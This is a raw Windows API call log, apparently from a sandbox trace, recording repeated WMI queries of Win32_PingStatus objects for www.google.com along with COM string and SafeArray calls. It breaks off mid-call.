[0140.431] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0x0, pszText=0x0 | out: puBuffLength=0x59ee85c*=0xf, pszText=0x0) returned 0x0 [0140.431] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.431] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee860 | out: puCount=0x59ee860*=0x2) returned 0x0 [0140.431] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0x0, pszText=0x0 | out: puBuffLength=0x59ee85c*=0xf, pszText=0x0) returned 0x0 [0140.431] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.431] IWbemClassObject:GetNames (in: This=0x4f432d8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee868*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee85c | out: pNames=0x59ee85c*="\x01ƀ\x04") returned 0x0 [0140.431] SafeArrayGetDim (psa=0x507480) returned 0x1 [0140.431] SafeArrayGetDim (psa=0x507480) returned 0x1 [0140.431] SafeArrayGetLBound (in: psa=0x507480, nDim=0x1, plLbound=0x59ee6f4 | out: plLbound=0x59ee6f4) returned 0x0 [0140.432] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.432] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.432] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.432] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.432] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.432] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.432] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.432] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.432] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.432] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.432] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.432] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.432] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.432] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.432] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.432] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.432] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.432] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.432] SysStringByteLen (bstr="__PATH") returned 0xc [0140.432] SysStringByteLen (bstr="__PATH") returned 0xc [0140.433] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__GENUS", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x246e260*=0, plFlavor=0x246e264*=0 | out: pVal=0x59ee858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x246e260*=3, plFlavor=0x246e264*=64) returned 0x0 [0140.433] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__CLASS", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x246e294*=0, plFlavor=0x246e298*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x246e294*=8, plFlavor=0x246e298*=64) returned 0x0 [0140.433] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.433] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.433] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x246e2ec*=0, plFlavor=0x246e2f0*=0 | out: pVal=0x59ee858*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x246e2ec*=8, plFlavor=0x246e2f0*=64) returned 0x0 [0140.433] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__DYNASTY", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x246e314*=0, plFlavor=0x246e318*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x246e314*=8, plFlavor=0x246e318*=64) returned 0x0 [0140.433] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.433] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.433] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__RELPATH", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x246e36c*=0, plFlavor=0x246e370*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x246e36c*=8, plFlavor=0x246e370*=64) returned 0x0 [0140.433] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0140.434] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0140.434] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x246e554*=0, plFlavor=0x246e558*=0 | out: pVal=0x59ee858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x246e554*=3, plFlavor=0x246e558*=64) returned 0x0 [0140.434] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__DERIVATION", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x246e588*=0, plFlavor=0x246e58c*=0 | out: pVal=0x59ee858*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x507450*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b298, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x246e588*=8200, plFlavor=0x246e58c*=64) returned 0x0 [0140.434] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__SERVER", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x246e5bc*=0, plFlavor=0x246e5c0*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x246e5bc*=8, plFlavor=0x246e5c0*=64) returned 0x0 [0140.434] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.434] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.435] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x246e608*=0, plFlavor=0x246e60c*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x246e608*=8, plFlavor=0x246e60c*=64) returned 0x0 [0140.435] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.435] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.435] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__PATH", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x246e654*=0, plFlavor=0x246e658*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x246e654*=8, plFlavor=0x246e658*=64) returned 0x0 [0140.435] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0140.435] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0140.435] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee89c | out: puCount=0x59ee89c*=0x2) returned 0x0 [0140.435] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee898*=0x0, pszText=0x0 | out: puBuffLength=0x59ee898*=0xf, pszText=0x0) returned 0x0 [0140.435] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee898*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.435] IWbemClassObject:Get (in: This=0x4f432d8, wszName="Address", lFlags=0, pVal=0x59ee898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x246e88c*=0, plFlavor=0x246e890*=0 | out: pVal=0x59ee898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.google.com", varVal2=0x0), pType=0x246e88c*=8, plFlavor=0x246e890*=0) returned 0x0 [0140.435] SysStringByteLen (bstr="www.google.com") returned 0x1c [0140.435] SysStringByteLen (bstr="www.google.com") returned 0x1c [0140.435] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee894 | out: puCount=0x59ee894*=0x2) returned 0x0 [0140.435] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0x0, pszText=0x0 | out: puBuffLength=0x59ee890*=0xf, pszText=0x0) returned 0x0 [0140.436] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.436] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee894 | out: puCount=0x59ee894*=0x2) returned 0x0 [0140.436] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0x0, pszText=0x0 | out: puBuffLength=0x59ee890*=0xf, pszText=0x0) returned 0x0 [0140.436] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.436] IWbemClassObject:GetNames (in: This=0x4f432d8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee89c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee890 | out: pNames=0x59ee890*="\x01ƀ\x04") returned 0x0 [0140.436] SafeArrayGetDim (psa=0x5075a0) returned 0x1 [0140.436] SafeArrayGetDim (psa=0x5075a0) returned 0x1 [0140.436] SafeArrayGetLBound (in: psa=0x5075a0, nDim=0x1, plLbound=0x59ee728 | out: plLbound=0x59ee728) returned 0x0 [0140.436] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.436] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.436] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.436] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.436] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.436] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.436] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.436] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.436] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.436] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.436] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.436] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.436] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.436] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.436] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.436] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.436] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.437] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.437] SysStringByteLen (bstr="__PATH") returned 0xc [0140.437] SysStringByteLen (bstr="__PATH") returned 0xc [0140.437] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__GENUS", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x246ec60*=0, plFlavor=0x246ec64*=0 | out: pVal=0x59ee88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x246ec60*=3, plFlavor=0x246ec64*=64) returned 0x0 [0140.437] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__CLASS", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x246ec94*=0, plFlavor=0x246ec98*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x246ec94*=8, plFlavor=0x246ec98*=64) returned 0x0 [0140.437] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.437] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.437] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x246ecec*=0, plFlavor=0x246ecf0*=0 | out: pVal=0x59ee88c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x246ecec*=8, plFlavor=0x246ecf0*=64) returned 0x0 [0140.437] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__DYNASTY", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x246ed14*=0, plFlavor=0x246ed18*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x246ed14*=8, plFlavor=0x246ed18*=64) returned 0x0 [0140.437] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.437] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.437] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__RELPATH", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x246ed6c*=0, plFlavor=0x246ed70*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x246ed6c*=8, plFlavor=0x246ed70*=64) returned 0x0 [0140.438] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0140.438] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0140.438] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x246ef48*=0, plFlavor=0x246ef4c*=0 | out: pVal=0x59ee88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x246ef48*=3, plFlavor=0x246ef4c*=64) returned 0x0 [0140.438] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__DERIVATION", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x246ef7c*=0, plFlavor=0x246ef80*=0 | out: pVal=0x59ee88c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x507420*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b298, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x246ef7c*=8200, plFlavor=0x246ef80*=64) returned 0x0 [0140.438] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__SERVER", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x246efb0*=0, plFlavor=0x246efb4*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x246efb0*=8, plFlavor=0x246efb4*=64) returned 0x0 [0140.438] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.438] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.438] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x246effc*=0, plFlavor=0x246f000*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x246effc*=8, plFlavor=0x246f000*=64) returned 0x0 [0140.439] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.439] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.439] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__PATH", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x246f048*=0, plFlavor=0x246f04c*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x246f048*=8, plFlavor=0x246f04c*=64) returned 0x0 [0140.439] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0140.439] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0140.439] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee8d0 | out: puCount=0x59ee8d0*=0x2) returned 0x0 [0140.439] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee8cc*=0x0, pszText=0x0 | out: puBuffLength=0x59ee8cc*=0xf, pszText=0x0) returned 0x0 [0140.439] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee8cc*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee8cc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.439] IWbemClassObject:Get (in: This=0x4f432d8, wszName="Address", lFlags=0, pVal=0x59ee8cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x246f280*=0, plFlavor=0x246f284*=0 | out: pVal=0x59ee8cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.google.com", varVal2=0x0), pType=0x246f280*=8, plFlavor=0x246f284*=0) returned 0x0 [0140.439] SysStringByteLen (bstr="www.google.com") returned 0x1c [0140.439] SysStringByteLen (bstr="www.google.com") returned 0x1c [0140.439] IWbemClassObject:Get (in: This=0x4f432d8, wszName="Address", lFlags=0, pVal=0x59ee980*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x246f280*=8, plFlavor=0x246f284*=0 | out: pVal=0x59ee980*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.google.com", varVal2=0x0), pType=0x246f280*=8, plFlavor=0x246f284*=0) returned 0x0 [0140.439] SysStringByteLen (bstr="www.google.com") returned 0x1c [0140.439] SysStringByteLen (bstr="www.google.com") returned 0x1c [0140.441] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x4f4 [0140.441] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee53c | out: puCount=0x59ee53c*=0x2) returned 0x0 [0140.441] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0x0, pszText=0x0 | out: puBuffLength=0x59ee538*=0xf, pszText=0x0) returned 0x0 [0140.441] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.441] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x246fecc*=0, plFlavor=0x246fed0*=0 | out: pVal=0x59ee538*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x246fecc*=8, plFlavor=0x246fed0*=64) returned 0x0 [0140.442] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.442] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.442] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x246fecc*=8, plFlavor=0x246fed0*=64 | out: pVal=0x59ee540*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x246fecc*=8, plFlavor=0x246fed0*=64) returned 0x0 [0140.442] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.442] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.442] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee53c | out: puCount=0x59ee53c*=0x2) returned 0x0 [0140.442] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0x0, pszText=0x0 | out: puBuffLength=0x59ee538*=0xf, pszText=0x0) returned 0x0 [0140.442] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.442] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__CLASS", lFlags=0, pVal=0x59ee538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x246ff68*=0, plFlavor=0x246ff6c*=0 | out: pVal=0x59ee538*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x246ff68*=8, plFlavor=0x246ff6c*=64) returned 0x0 [0140.442] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.442] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.442] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__CLASS", lFlags=0, pVal=0x59ee540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x246ff68*=8, plFlavor=0x246ff6c*=64 | out: pVal=0x59ee540*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x246ff68*=8, plFlavor=0x246ff6c*=64) returned 0x0 [0140.442] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.442] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.442] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee53c | out: puCount=0x59ee53c*=0x2) returned 0x0 [0140.443] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0x0, pszText=0x0 | out: puBuffLength=0x59ee538*=0xf, pszText=0x0) returned 0x0 [0140.443] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.443] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__Derivation", lFlags=0, pVal=0x59ee538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24700c4*=0, plFlavor=0x24700c8*=0 | out: pVal=0x59ee538*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5075a0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b298, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x24700c4*=8200, plFlavor=0x24700c8*=64) returned 0x0 [0140.443] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__Derivation", lFlags=0, pVal=0x59ee540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24700c4*=8200, 